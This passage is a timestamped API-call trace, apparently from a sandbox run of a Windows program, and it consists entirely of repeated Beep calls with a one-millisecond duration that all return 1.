Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.929] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.932] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.933] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.934] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.935] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.936] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.937] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.938] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.939] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.942] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.957] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.972] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.989] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.990] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.991] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.992] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.993] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.994] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.995] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.996] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.997] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0239.998] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.013] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.029] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.045] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.060] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.061] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.062] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.078] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.093] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.110] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.112] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.127] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.142] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.158] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.160] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.161] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.162] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.163] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.164] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.165] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.166] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.167] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.168] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.183] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.199] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.215] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.215] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.216] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.236] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.248] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.263] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.279] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.280] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.281] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.297] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.312] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.328] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.329] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.330] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.345] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.361] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.377] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.378] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.378] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.379] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.381] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.381] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.382] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.384] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.384] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.385] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.386] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.402] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.418] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.433] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.449] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.452] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.453] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.469] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.484] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.485] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.486] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.487] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.488] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.489] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.490] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.491] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.492] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.493] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.495] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.510] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.525] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.541] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.543] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.559] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.574] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.609] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.697] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.698] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.699] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.700] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.701] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.702] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.703] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.704] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.705] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.707] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.708] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.709] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.710] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.711] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.712] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.713] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.714] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.715] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.716] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.717] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.718] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.719] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.720] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.721] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.723] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.724] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.726] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.727] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.728] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.729] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.730] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.731] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.732] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.733] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.734] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.735] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.736] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.737] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.738] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.739] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.740] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.741] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.742] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.743] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.744] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.745] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.746] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.747] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.748] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.749] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.750] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.751] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.752] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.753] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.754] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.755] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.756] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.757] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.758] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.760] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.761] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.762] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.763] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.764] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.765] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.767] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.768] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.769] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.770] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.771] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.773] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.774] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.776] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.777] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.778] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.779] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.780] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.781] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.782] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.783] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.784] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.785] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.786] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.787] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.788] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.789] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.790] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.791] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.792] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.793] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.794] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.795] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.796] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.797] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.798] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.811] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.818] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.819] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.821] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.824] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.828] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.830] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.846] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.866] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.877] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.898] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.918] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.927] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.948] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.967] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.978] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0240.994] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.008] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.026] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.045] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.061] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.072] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.091] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.109] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.125] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.128] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.132] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.151] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.163] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.182] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.204] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.211] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.242] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.248] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.262] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.282] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.286] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.301] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.318] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.336] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.339] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.348] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.360] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.378] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.392] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.408] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.424] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.440] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.443] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.445] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.448] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.465] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.481] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.498] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.500] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.509] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.523] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.540] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.554] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.575] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.585] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.605] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.621] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.639] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.643] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.647] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.662] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.679] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.692] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.698] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.714] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.724] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.742] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.759] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.774] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.778] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.916] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.960] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.962] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.980] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0241.993] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.009] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.025] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.026] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.042] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.058] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.073] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.075] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.076] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.077] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.078] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.079] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.081] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.081] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.082] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.085] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.101] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.117] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.132] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.133] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.134] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.150] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.166] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.181] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.182] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.183] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.199] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.214] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.216] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.217] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.218] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.219] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.220] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.221] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.222] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.223] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.224] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.239] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.255] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.271] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.286] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.287] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.288] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.304] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.320] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.321] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.321] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.322] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.323] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.324] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.326] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.328] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.329] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.329] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.330] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.331] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.347] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.363] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.378] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.379] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.380] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.396] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.412] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.427] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.428] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.429] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.445] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.461] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.462] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.478] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.494] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.509] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.510] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.511] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.527] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.542] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.558] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.559] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.560] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.576] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.622] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.625] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.640] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.656] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.671] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.672] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.673] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.689] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.704] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.720] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.721] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.722] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.738] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.753] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.755] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.755] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.756] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.757] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.758] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.759] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.760] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.761] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.762] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.763] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.765] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.782] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.797] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.812] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.813] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.815] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.830] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.845] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.862] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.864] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.865] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.866] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.867] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.868] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.869] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.870] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.871] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.886] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.903] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.917] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.933] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.949] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.964] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.981] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0242.996] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.011] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.027] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.042] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.043] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.044] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.060] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.075] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.091] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.092] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.093] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.109] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.124] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.126] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.126] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.127] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.128] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.129] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.130] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.131] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.132] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.133] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.134] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.150] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.166] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.181] Beep (dwFreq=0x26, dwDuration=0x1) returned 1 [0243.182] Beep (dwFreq=0x26, 